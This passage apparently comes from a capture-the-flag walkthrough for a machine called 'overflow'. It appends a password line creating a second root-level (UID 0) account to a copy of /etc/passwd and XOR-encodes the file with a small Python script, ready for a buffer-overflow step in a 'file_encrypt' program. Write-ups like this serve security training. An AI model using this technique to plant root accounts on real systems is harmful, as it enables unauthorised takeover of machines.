tester@overflow:~$ echo 'caue:$1$caue$UbuBXypuA7ZQh9kxbERnQ/:0:0:root:/root:/bin/bash' >> /tmp/passwd

Next we encrypt our modified /tmp/passwd file. To do this, I wrote a simple python script:

encrypt_file.py
#!/usr/bin/python3

source = open('/tmp/passwd', 'rb').read()  
dest = open('/tmp/passwd2', 'wb')

for i in source:  
dest.write(bytes([i ^ 0x9b]))

Running the script give us a file called passwd2 which is encrypted:

tester@overflow:/tmp$ python3 encrypt_file.py

Now we’re ready to run the file_encrypt program with our overflow.

# Root